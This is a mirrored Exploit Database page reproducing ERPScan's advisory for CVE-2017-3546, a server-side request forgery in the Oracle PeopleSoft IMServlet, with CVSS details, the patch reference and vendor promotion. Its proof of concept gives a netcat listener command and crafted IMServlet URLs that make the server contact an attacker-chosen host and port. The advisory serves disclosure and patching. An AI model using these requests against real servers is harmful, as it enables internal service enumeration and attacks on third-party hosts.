Oracle PeopleSoft – Server-Side Request Forgery

• Exploit Database
• 90 阅读

• 作者： ERPScan
  日期： 2017-05-19
• 类别：

  • webapps
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/42034/

• Application: Oracle PeopleSoft
  Versions Affected: ToolsRelease: 8.55.03; ToolsReleaseDB: 8.55;
  PeopleSoft HCM 9.2
  Vendor URL: http://oracle.com
  Bugs: SSRF
  Reported: 23.12.2016
  Vendor response: 24.12.2016
  Date of Public Advisory: 18.04.2017
  Reference: Oracle CPU April 2017
  Author: Roman Shalymov (ERPScan)
  
  Description
  
  1. ADVISORY INFORMATION
  
  Title:[ERPSCAN-17-022] SSRF in PeopleSoft IMServlet
  Advisory ID: [ERPSCAN-17-022]
  Risk: high
  CVE: CVE-2017-3546
  Advisory URL: https://erpscan.com/advisories/erpscan-17-022-ssrf-peoplesoft-imservlet/
  Date published: 18.04.2017
  Vendors contacted: Oracle
  
  
  2. VULNERABILITY INFORMATION
  
  Class: SSRF
  Impact: cross-site port attack, service enumeration
  Remotely Exploitable: yes
  Locally Exploitable: yes
  
  CVSS Information
  
  CVSS Base Score v3:8.0 / 10
  CVSS Base Vector:
  AV : Attack Vector (Related exploit range) Network (N)
  AC : Attack Complexity (Required attack complexity) High (H)
  PR : Privileges Required (Level of privileges needed to exploit) High (H)
  UI : User Interaction (Required user participation) None (N)
  S : Scope (Change in scope due to impact caused to components beyond
  the vulnerable component) Changed (C)
  C : Impact to Confidentiality High (H)
  I : Impact to Integrity High (H)
  A : Impact to Availability High (H)
  
  
  3. VULNERABILITY DESCRIPTION
  
  An attacker can force a vulnerable server to trigger malicious
  requests to third-party servers or to internal resources. This
  vulnerability can then be leveraged to launch specific attacks such as
  a cross-site port attack, service enumeration, and various other
  attacks.
  
  4. VULNERABLE PACKAGES
  
  ToolsRelease: 8.55.03
  ToolsReleaseDB: 8.55
  PeopleSoft HCM 9.2
  
  5. SOLUTIONS AND WORKAROUNDS
  
  To correct this vulnerability, implement Oracle CPU April 2017
  
  6. AUTHOR
  
  Roman Shalymov
  
  7. TECHNICAL DESCRIPTION
  
  PoC
  
  Run netcat
  
  1. nc -l -p # on some host
  
  In browser open the following links
  
  http://PPLSOFTSRV:8000/IMServlet?Method=CONNECT
  
  http://PPLSOFTSRV::8000/IMServlet?Method=GOOGLE_PRESENCE&im_to_user=abc&im_server_name=GOOGLE&im_server=SOMEHOST:OPEN_PORT/?param=var%23"
  
  
  Read response in netcat
  
  GET /?param=var HTTP/1.1
  
  User-Agent: Java1.7.0_95
  
  Host: SOMEHOST:OPEN_PORT
  
  Accept: text/html, image/gif, image/jpeg, /; q=.2
  
  Connection: Keep-Alive
  
  
  8. ABOUT ERPScan Research
  
  ERPScan research team specializes in vulnerability research and
  analysis of critical enterprise applications. It was acknowledged
  multiple times by the largest software vendors like SAP, Oracle,
  Microsoft, IBM, VMware, HP for discovering more than 400
  vulnerabilities in their solutions (200 of them just in SAP!).
  
  ERPScan researchers are proud of discovering new types of
  vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
  Best Server-Side Bug" nomination at BlackHat 2013.
  
  ERPScan experts participated as speakers, presenters, and trainers at
  60+ prime international security conferences in 25+ countries across
  the continents ( e.g. BlackHat, RSA, HITB) and conducted private
  trainings for several Fortune 2000 companies.
  
  ERPScan researchers carry out the EAS-SEC project that is focused on
  enterprise application security awareness by issuing annual SAP
  security researches.
  
  ERPScan experts were interviewed in specialized info-sec resources and
  featured in major media worldwide. Among them there are Reuters,
  Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
  Chinabyte, etc.
  
  Our team consists of highly-qualified researchers, specialized in
  various fields of cybersecurity (from web application to ICS/SCADA
  systems), gathering their experience to conduct the best SAP security
  research.
  
  9. ABOUT ERPScan
  
  ERPScan is the most respected and credible Business Application
  Cybersecurity provider. Founded in 2010, the company operates globally
  and enables large Oil and Gas, Financial, Retail and other
  organizations to secure their mission-critical processes. Named as an
  ‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP
  Solution providers” and distinguished by 30+ other awards, ERPScan is
  the leading SAP SE partner in discovering and resolving security
  vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
  assist in improving the security of their latest solutions.
  
  ERPScan’s primary mission is to close the gap between technical and
  business security, and provide solutions for CISO's to evaluate and
  secure SAP and Oracle ERP systems and business-critical applications
  from both cyberattacks and internal fraud. As a rule, our clients are
  large enterprises, Fortune 2000 companies and MSPs, whose requirements
  are to actively monitor and manage security of vast SAP and Oracle
  landscapes on a global scale.
  
  We ‘follow the sun’ and have two hubs, located in Palo Alto and
  Amsterdam, to provide threat intelligence services, continuous support
  and to operate local offices and partner network spanning 20+
  countries around the globe.
  

  Java

  Copy